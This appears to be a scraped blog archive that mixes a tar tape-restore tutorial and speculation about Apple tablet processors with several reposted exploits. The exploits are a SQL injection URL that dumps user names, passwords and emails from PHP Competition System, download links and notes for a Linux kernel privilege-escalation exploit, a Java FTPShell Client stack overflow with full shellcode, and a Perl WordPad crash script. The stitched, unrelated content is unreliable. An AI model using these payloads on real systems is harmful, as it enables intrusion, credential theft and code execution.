As an example, suppose you create backups to tape using tar. You can recover files from this backup by using the –extract (-x) command. Typically, you also pass the –verbose (-v) option so that you know when the target file has been restored, and you use –file (-f) to point to the tape device file. You must also pass the name of the file to be restored:

# tar -xvf /dev/st0 home/al/election.txt

This command recovers the file home/al/election.txt from the /dev/st0 tape device. A few points about this command require attention:

Permissions  The user who runs the command must have read/write access to the tape device. This user must also have write permission to the restore directory (normally, the current directory). Therefore, root normally runs this command, although other users may have sufficient privileges on some systems. Ownership and permissions on the restored file may change if a user other than root runs the command.

Filename Specification  The preceding command omitted the leading slash (/) in the target filename specification (home/al/election.txt). This is because tar normally strips this slash when it writes files, so when you specify files for restoration, the slash must also be missing. A few utilities and methods of creating a backup add a leading ./ to the filename. If your backups include this feature, you must include it in the filename specification to restore the file.

Restore Directory  Normally, tar restores files to the current working directory. Thus, if you type the preceding command while in /root, it will create a /root/home/al/election.txt file (assuming it’s on the tape). I recommend restoring to an empty subdirectory and then moving the restored file to its intended target area. This practice minimizes the risk that you might mistype the target file specification and overwrite a newer file with an older one, or even overwrite the entire Linux installation with the backup.

Unfortunately, tar requires that you have a complete filename, including its path, ready in order to recover a file. If you don’t know the exact filename, you can try taking a directory of the tape by typing tar tvf /dev/st0 (substituting another tape device filename, if necessary). You may want to pipe the result through less or grep to help you search for the correct filename, or redirect it to a file you can search.

Tip

You can keep a record of files on a tape at backup time to simplify searches at restore time. Using the –verbose option and redirecting the results to a file will do the trick. Some incremental backup methods automatically store information on a backup’s contents, too. Some backup tools, such as the commercial Backup/Recover Utility (BRU; http://www.bru.com), store an index of files on the tape. This index enables you to quickly scan the tape and select files for recovery from the index

Tagged with:
Aug 17

Speculation about a rumored Apple tablet may be an exercise in futility, but it is an interesting exercise nonetheless. In this case, my speculation will extend to what may be inside an Apple tablet.

Will the design philosophy spring from the notion of an upsized iPhone or a downsized MacBook? I believe it will be the former since this is a more natural evolution of the hardware and software. But I will entertain both options.

Because this tablet is rumored to appear in 2010, the Intel silicon possibility–however remote–is, I believe, as follows.

First scenario: Intel’s next-generation "Pine Trail" Atom processor in a tablet with laptop lineage. This will offer higher performance and better power savings than the current Atom processor–which is Intel’s most power-stingy chip technology. Pine Trail integrates a graphics processor onto the same piece of silicon as the main processor–a first for Intel. (Intel’s future "Arrandale" Core i series mobile processor, in contrast, will put the main processor and graphics into the same chip package, not onto the same chip.)

Intel’s next-generation integrated graphics silicon technology is largely unknown. But tablets should deliver graphics performance that doesn’t disappoint, as this is a shortcoming often brought up by critics of Netbooks.

A real tablet based on a 600MHz ARM processor: the Archos 7

A real tablet based on a 600MHz ARM processor: the Archos 7

(Credit: Archos)

The more likely non-Intel tablet.

Second scenario: Apple’s ARM silicon in an upsized iPod/iPhone. This seems a much more likely scenario than Intel silicon. The iPhone 3GS currently uses a Samsung ARM processor that, according to reports, runs at 600MHz. How Apple would tweak this design for a tablet is so highly speculative that I will not hazard much of a guess.

Suffice to say, inside of Apple there is more intellectual capital invested in ARM-based designs than Intel-based ones because of the acquisition of chip designer P.A. Semi and the success of the iPhone. And the fact that the iPhone’s ARM processor has "Apple" stamped on it should not be overlooked.

Here’s the guess that I will hazard: a faster processor analogous to Qualcomm’s ARM-based 1GHz Snapdragon processor. Samsung and Austin, Texas-based Intrinsity announced recently that they had co-developed a 1GHz chip similar to the processor that currently powers the iPhone 3GS. And this is the same kind of processor that Qualcomm is targeting for "smartbooks", which could be either a Netbook or tablet.

Freescale's concept smartbook tablet

Freescale’s concept "smartbook" tablet

 

Graphics is less clear but U.K.-based Imagination Technologies provides the PowerVR graphics core inside the iPhone’s ARM silicon. And Apple has expressed a keen interest in Imagination by raising its financial stake in the chip design firm to 9.5 percent.

And as a final thought, it is interesting to note that speculation about an Apple "iPad" has gone beyond mere individuals to corporate entities such as Borders. Do they know something that we don’t?

Tagged with:
Aug 16

###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( show_matchs.php competition )
##
## PHP Competition System BETA <= V0.84
##
## http://phpcompet.free.fr/
##
## http://phpcompet.free.fr/download_en.html
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT.CoM/PATH/show_matchs.php?competition=1&season=1&day=-1+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CONCAT_WS(0x3a,name,passwd,email),0,0,0,0+from+pcs_users–
## www.TraGeT.CoM/PATH/persons.php?pageno=0′
##
########################
########################
You can to find other vulne in other files :))
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

Tagged with:
Aug 15

/* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy — some nice library functions for reuse here though

   credits to julien tinnes/tavis ormandy for the bug

   may want to remove the __attribute__((regparm(3))) for 2.4 kernels,
   I have no time to test

spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to.  Now all RHEL boxes will get owned by
leeches.c :p

fd7810e34e9856f77cba67f291ba115f33411ebd
d4b0e413ebf15d039953dfabf7f9a2d1

thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux
policies

and nice work Linus on trying to silently fix an 8 year old
vulnerability, leaving vendors without patched kernels for their users.

  use ./wunderbar_emporium.sh for everything

don’t have mplayer? watch an earlier version of the exploit at:
http://www.youtube.com/watch?v=arAfIp7YzZ4

*/

http://www.grsecurity.net/~spender/wunderbar_emporium.tgz
back: http://milw0rm.com/sploits/2009-wunderbar_emporium.tgz

Tagged with:
Aug 14

/*
* FTPShell Client, Name Session Stack Overflow Exploit
* Tested on Version 4.1 RC2 on Windows XP SP3
* Vulnerable program download page : http://www.ftpshell.com/downloadclient.htm
* Coded by zec
* Feel yourself freely to get into touch : zec@bsdmail.com
*/

package ftpbof;
import java.io.DataOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* @author zec
*/
public class Main {
    public static void main(String[] args) throws IOException  {
        /*  Shellcode calc.exe
         *  jmp esp 0x7C86467B
         */
        byte[] data = new byte[2548];
        for(int i = 1; i<data.length; ++i)
            data[i] = (byte)0×41;
        byte[] shell = new byte[]{
(byte)0x7B, (byte)0×46, (byte)0×86, (byte)0x7C, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0×90, (byte)0xeb, (byte)0×03 ,(byte)0×59, (byte)0xeb, (byte)0×05, (byte)0xe8, (byte)0xf8, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x4f, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×49, (byte)0×51, (byte)0x5a, (byte)0×56, (byte)0×54, (byte)0×58, (byte)0×36, (byte)0×33, (byte)0×30, (byte)0×56, (byte)0×58, (byte)0×34, (byte)0×41, (byte)0×30, (byte)0×42, (byte)0×36, (byte)0×48, (byte)0×48, (byte)0×30, (byte)0×42, (byte)0×33, (byte)0×30, (byte)0×42, (byte)0×43, (byte)0×56, (byte)0×58, (byte)0×32, (byte)0×42, (byte)0×44, (byte)0×42, (byte)0×48, (byte)0×34, (byte)0×41, (byte)0×32, (byte)0×41, (byte)0×44, (byte)0×30, (byte)0×41, (byte)0×44, (byte)0×54, (byte)0×42, (byte)0×44, (byte)0×51, (byte)0×42, (byte)0×30, (byte)0×41, (byte)0×44, (byte)0×41, (byte)0×56, (byte)0×58, (byte)0×34, (byte)0x5a, (byte)0×38, (byte)0×42, (byte)0×44, (byte)0x4a, (byte)0x4f, (byte)0x4d, (byte)0x4e, (byte)0x4f, (byte)0x4a, (byte)0x4e, (byte)0×46, (byte)0×54, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×30, (byte)0x4b, (byte)0×58, (byte)0×45, (byte)0×54, (byte)0x4e, (byte)0×33, (byte)0x4b, (byte)0×38, (byte)0x4e, (byte)0×57, (byte)0×45, (byte)0×30, (byte)0x4a, (byte)0×37, (byte)0×41, (byte)0×30, (byte)0x4f, (byte)0x4e, (byte)0x4b, (byte)0×58, (byte)0x4f, (byte)0×44, (byte)0x4a, (byte)0×41, (byte)0x4b, (byte)0×38, (byte)0x4f, (byte)0×35, (byte)0×42, (byte)0×42, (byte)0×41, (byte)0×30, (byte)0x4b, (byte)0x4e, (byte)0×49, (byte)0×34, (byte)0x4b, (byte)0×58, (byte)0×46, (byte)0×33, (byte)0x4b, (byte)0×58, (byte)0×41, (byte)0×30, (byte)0×50, (byte)0x4e, (byte)0×41, (byte)0×33, (byte)0×42, (byte)0x4c, (byte)0×49, (byte)0×39, (byte)0x4e, (byte)0x4a, (byte)0×46, (byte)0×58, (byte)0×42, (byte)0x4c, (byte)0×46, (byte)0×37, (byte)0×47, (byte)0×30, (byte)0×41, (byte)0x4c, (byte)0x4c, (byte)0x4c, (byte)0x4d, (byte)0×50, (byte)0×41, (byte)0×50, (byte)0×44, (byte)0x4c, (byte)0x4b, (byte)0x4e, (byte)0×46, (byte)0x4f, (byte)0x4b, (byte)0×53, (byte)0×46, (byte)0×55, (byte)0×46, (byte)0×32, (byte)0×46, (byte)0×30, (byte)0×45, (byte)0×47, (byte)0×45, (byte)0x4e, (byte)0x4b, (byte)0×48, (byte)0x4f, (byte)0×35, (byte)0×46, (byte)0×32, (byte)0×41, (byte)0×50, (byte)0x4b, (byte)0x4e, (byte)0×48, (byte)0×36, (byte)0x4b, (byte)0×58, (byte)0x4e, (byte)0×50, (byte)0x4b, (byte)0×54, (byte)0x4b, (byte)0×58, (byte)0x4f, (byte)0×35, (byte)0x4e, (byte)0×31, (byte)0×41, (byte)0×50, (byte)0x4b, (byte)0x4e, (byte)0x4b, (byte)0×38, (byte)0x4e, (byte)0×41, (byte)0x4b, (byte)0×38, (byte)0×41, (byte)0×30, (byte)0x4b, (byte)0x4e, (byte)0×49, (byte)0×38, (byte)0x4e, (byte)0×45, (byte)0×46, (byte)0×52, (byte)0×46, (byte)0×50, (byte)0×43, (byte)0x4c, (byte)0×41, (byte)0×53, (byte)0×42, (byte)0x4c, (byte)0×46, (byte)0×46, (byte)0x4b, (byte)0×48, (byte)0×42, (byte)0×44, (byte)0×42, (byte)0×43, (byte)0×45, (byte)0×38, (byte)0×42, (byte)0x4c, (byte)0x4a, (byte)0×37, (byte)0x4e, (byte)0×50, (byte)0x4b, (byte)0×48, (byte)0×42, (byte)0×44, (byte)0x4e, (byte)0×50, (byte)0x4b, (byte)0×48, (byte)0×42, (byte)0×57, (byte)0x4e, (byte)0×51, (byte)0x4d, (byte)0x4a, (byte)0x4b, (byte)0×48, (byte)0x4a, (byte)0×46, (byte)0x4a, (byte)0×30, (byte)0x4b, (byte)0x4e, (byte)0×49, (byte)0×30, (byte)0x4b, (byte)0×58, (byte)0×42, (byte)0×58, (byte)0×42, (byte)0x4b, (byte)0×42, (byte)0×30, (byte)0×42, (byte)0×50, (byte)0×42, (byte)0×30, (byte)0x4b, (byte)0×48, (byte)0x4a, (byte)0×46, (byte)0x4e, (byte)0×43, (byte)0x4f, (byte)0×55, (byte)0×41, (byte)0×43, (byte)0×48, (byte)0x4f, (byte)0×42, (byte)0×56, (byte)0×48, (byte)0×55, (byte)0×49, (byte)0×58, (byte)0x4a, (byte)0x4f, (byte)0×43, (byte)0×38, (byte)0×42, (byte)0x4c, (byte)0x4b, (byte)0×57, (byte)0×42, (byte)0×55, (byte)0x4a, (byte)0×46, (byte)0x4f, (byte)0x4e, (byte)0×50, (byte)0x4c, (byte)0×42, (byte)0x4e, (byte)0×42, (byte)0×46, (byte)0x4a, (byte)0×36, (byte)0x4a, (byte)0×49, (byte)0×50, (byte)0x4f, (byte)0x4c, (byte)0×48, (byte)0×50, (byte)0×30, (byte)0×47, (byte)0×35, (byte)0x4f, (byte)0x4f, (byte)0×47, (byte)0x4e, (byte)0×43, (byte)0×46, (byte)0×41, (byte)0×56, (byte)0x4e, (byte)0×46, (byte)0×43, (byte)0×56, (byte)0×50, (byte)0×42, (byte)0×45, (byte)0×56, (byte)0x4a, (byte)0×37, (byte)0×45, (byte)0×36, (byte)0×42, (byte)0×30, (byte)0x5a
                                };
        try{
            DataOutputStream out = new DataOutputStream(new FileOutputStream("c:\\exp.txt"));
            System.out.println("[+] Writing malicious data to file..");
            out.write(data);
            out.write(shell);
            out.close();
        }catch(FileNotFoundException err){System.out.println("[-] Couldn’t be written.Error : "+err.getMessage());}
            System.out.println("[+] Exploited successfully.");
    }

}

Tagged with:
Aug 13

#!/usr/bin/perl
#Microsoft Wordpad on WinXP SP3 Memory Exhaustion Vulnerability – 0day
#Works on WinXP SP3!
#bug found by murderkey in Hellcode Labs.
#exploit coded by karak0rsan aka musashi
#Hellcode Resarch
#just a fuckin’ lame 0day bug for fun!

$file = "hellcoded.rtf";
$header =
"\x7b\x5c\x72\x74\x66\x31\x5c\x61\x6e\x73\x69\x5c\x61\x6e\x73\x69\x63\x70\x67\x31\x32".
"\x35\x34\x5c\x64\x65\x66\x66\x30\x5c\x64\x65\x66\x6c\x61\x6e\x67\x31\x30\x35\x35\x7b".
"\x5c\x66\x6f\x6e\x74\x74\x62\x6c\x7b\x5c\x66\x30\x5c\x66\x73\x77\x69\x73\x73\x5c\x66".
"\x63\x68\x61\x72\x73\x65\x74\x31\x36\x32\x7b\x5c\x2a\x5c\x66\x6e\x61\x6d\x65\x20\x41".
"\x72\x69\x61\x6c\x3b\x7d\x41\x72\x69\x61\x6c\x20\x54\x55\x52\x3b\x7d\x7d\x0a\x7b\x5c".
"\x2a\x5c\x67\x65\x6e\x65\x72\x61\x74\x6f\x72\x20\x4d\x73\x66\x74\x65\x64\x69\x74\x20".
"\x35\x2e\x34\x31\x2e\x31\x35\x2e\x31\x35\x31\x35\x3b\x7d\x5c\x76\x69\x65\x77\x6b\x69".
"\x6e\x64\x34\x5c\x75\x63\x31\x5c\x70\x61\x72\x64\x5c\x66\x30\x5c\x66\x73\x32\x30";

$subheader = "\x5c\x41\x41\x41\x41\x41\x5c\x41\x41\x41\x41\x5c\x70\x61\x72\x0a\x7d\x0a\x00";
$ekheader = "\x5c\x70\x61\x72\x0a";
$buffer = "A" x 578001;
$buffer2 = "A" x 289000;
$buffer3 = "A" x 18186;
$buffer4 = "A" x 863973;
$buffer5= "A" x 578000;
$memory = $header.$buffer.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer4.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$ekheader.$buffer5.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer3.$subheader;
   open(file, ‘>’ . $file);
   print file $memory;
   close(file);
print "File PoC exploit has created!\n";

exit(); */

Tagged with:
preload preload preload